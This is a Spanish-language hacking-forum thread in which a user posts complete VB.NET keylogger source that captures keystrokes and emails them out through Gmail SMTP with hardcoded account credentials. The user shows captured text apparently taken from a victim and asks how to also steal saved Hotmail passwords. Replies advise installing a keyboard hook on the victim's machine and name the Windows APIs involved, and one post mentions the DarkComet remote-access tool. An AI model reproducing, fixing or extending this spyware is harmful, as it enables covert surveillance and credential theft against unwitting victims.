Título: Ayuda con un Keylogger Publicado por: WIитX en 19 Octubre 2012, 15:36 pm Bueno cree un keylogger con el siguiente código.
Citar Imports System.Web Imports System.IO Imports System.Net.Mail Public Class Form1 Dim result As Integer Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then TextBox1.Text = TextBox1.Text + Chr(i) End If Next i End Sub Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick Dim mail As New MailMessage() Dim SmtpServer As New SmtpClient SmtpServer.Credentials = New Net.NetworkCredential("universalprjct@gm ail.com", "furryman") SmtpServer.Port = 587 SmtpServer.Host = "smtp.gmail.com" SmtpServer.EnableSsl = True SmtpServer.EnableSsl = True mail.To.Add("PON AKI TU CUENTA DE GMAIL") mail.From = New MailAddress("username@gmail.com") mail.Subject = "Universal Keylogger" mail.Body = TextBox1.Text SmtpServer.Send(mail) End Sub Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click End End Sub End Class Cuando te llega al hotmail te llega de está manera con estos símbolos, quisiera saber como ponerlo para que salga normal lo que escribe. Citar QE ES ¡Û ¡NO ME SALE NADA QUITAMELO ½¾½Û ¡ ¡MIF GUE JO ODAS YA ME E METES TROYANOS¾¾ ENCIMA DE K TE SUBO ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ KITAMELO ½¾½Û ½ MIGUE ¡Û KITAMELO TIO DIO ¢ ¢ ¢ ¢ SCUCHO ¢ ¢ ¤ ¤ ¤.CO ¢ EN PROCESOS NO ¡Û COMO SE LLAMA ¡Û NO ME SALE FORM JODER TIO K NO ¢ PERO MIRA NO HAY NADA DE ESO A K LE DOI ¡0Û YA LE DI NO SALE NADA NO SALE TIO NADA K ASKO NL K ***** Y una pregunta sería posible que ese keylogger recopilara todas las contraseñas guardadas en el pc con los hotmail... ? se supone que si pero nose muy bien si me hechan una mano por donde va la cosa... muchas gracias. ;D Título: Re: Ayuda con un Keylogger Publicado por: kub0x en 19 Octubre 2012, 16:08 pm Ya te di un consejo en este post: http://foro.elhacker.net/net/keylogger_remoto_mail-t373717.0.html (http://foro.elhacker.net/net/keylogger_remoto_mail-t373717.0.html).
No necesitas volver a postear. Lo que debes hacer es instalar un hook de teclado en el ordenador de la víctima y que éste escriba las teclas pulsadas en un log el cual se enviara por el metodo descrito arriba a tu correo. Busca mi post sobre hooks y ahi tendrás la respuesta. Necesitarias modificarlo un poco para que capture ciertas teclas que por defecto el hook no interpreta correctamente. El uso de GetAsyncKeyState() no es recomendado en keyloggers. Saludos! Título: Re: Ayuda con un Keylogger Publicado por: WIитX en 19 Octubre 2012, 16:22 pm Ya te di un consejo en este post: http://foro.elhacker.net/net/keylogger_remoto_mail-t373717.0.html (http://foro.elhacker.net/net/keylogger_remoto_mail-t373717.0.html). No necesitas volver a postear. Lo que debes hacer es instalar un hook de teclado en el ordenador de la víctima y que éste escriba las teclas pulsadas en un log el cual se enviara por el metodo descrito arriba a tu correo. Busca mi post sobre hooks y ahi tendrás la respuesta. Necesitarias modificarlo un poco para que capture ciertas teclas que por defecto el hook no interpreta correctamente. El uso de GetAsyncKeyState() no es recomendado en keyloggers. Saludos! Este tutorial me serviría? http://foro.elhacker.net/programacion_vb/vb6_creacion_de_un_keylogger_avanzado_hook-t264469.0.html Título: Re: Ayuda con un Keylogger Publicado por: kub0x en 19 Octubre 2012, 16:38 pm Podría servirte, aunque el uso de VB6 no es recomendable en VB .NET. Simplemente asegurate de llamar de forma correcta a las APIs que tienes que utilizar (SetWindowsHook, call.. y unhook...) que las puedes encontrar en Pinvoke, una web muy recomendable para buscar ejemplos de APIs aplicadas a .NET
Seguramente algún trozo del código lo tendrás que modificar para que funcione, pero la mayoría ya lo tienes completado. Si te surge alguna duda ya sabes. Saludos! Título: Re: Ayuda con un Keylogger Publicado por: WIитX en 19 Octubre 2012, 16:47 pm Podría servirte, aunque el uso de VB6 no es recomendable en VB .NET. Simplemente asegurate de llamar de forma correcta a las APIs que tienes que utilizar (SetWindowsHook, call.. y unhook...) que las puedes encontrar en Pinvoke, una web muy recomendable para buscar ejemplos de APIs aplicadas a .NET Seguramente algún trozo del código lo tendrás que modificar para que funcione, pero la mayoría ya lo tienes completado. Si te surge alguna duda ya sabes. Saludos! estuve leyendo que Hook es para keyloggers locales y no remotos, ¿ Eso es así? o tiene alguna solucción ando un tanto perdido. Título: Re: Ayuda con un Keylogger Publicado por: Keyen Night en 19 Octubre 2012, 16:55 pm No hace diferencia la forma en la que funciona el Keylogger. Tu haces el Keylogger en modo Hook este se ejecuta en el equipo infectado y saca los datos hacia otro equipo a través de cualquier forma de comunicación eso es lo que implica lo "Remoto".
Título: Re: Ayuda con un Keylogger Publicado por: WIитX en 19 Octubre 2012, 17:07 pm Encontre este código serviría?
Código: Imports System.Net.Mail Título: Re: Ayuda con un Keylogger Publicado por: kub0x en 19 Octubre 2012, 17:25 pm Fíjate que es el mismo código que utilizas tú solo que en vez de usar un control TextBox utiliza un RichTextbox. Lo que te estoy diciendo es que te olvides de GetAsyncKeyState() e investigues sobre hooks de teclado :P Por cierto, con hooks no necesitarias timers para controlar los eventos que se producen al pulsar una tecla, éstos se encargan previamente de interceptar el mensaje producido por la pulsación de cierta tecla antes de que llegue al sistema.
Por cierto, ¿cambiaría el funcionamiento del code utilizando un RichTextbox? (aunque lo dudo mucho). Saludos! Título: Re: Ayuda con un Keylogger Publicado por: WIитX en 19 Octubre 2012, 17:34 pm Fíjate que es el mismo código que utilizas tú solo que en vez de usar un control TextBox utiliza un RichTextbox. Lo que te estoy diciendo es que te olvides de GetAsyncKeyState() e investigues sobre hooks de teclado :P Por cierto, con hooks no necesitarias timers para controlar los eventos que se producen al pulsar una tecla, éstos se encargan previamente de interceptar el mensaje producido por la pulsación de cierta tecla antes de que llegue al sistema. Por cierto, ¿cambiaría el funcionamiento del code utilizando un RichTextbox? (aunque lo dudo mucho). Saludos! :@ que dolor de cabeza >.< creo que are DarkComet mientras investigo sobre los hooks muchas gracias Kub0x |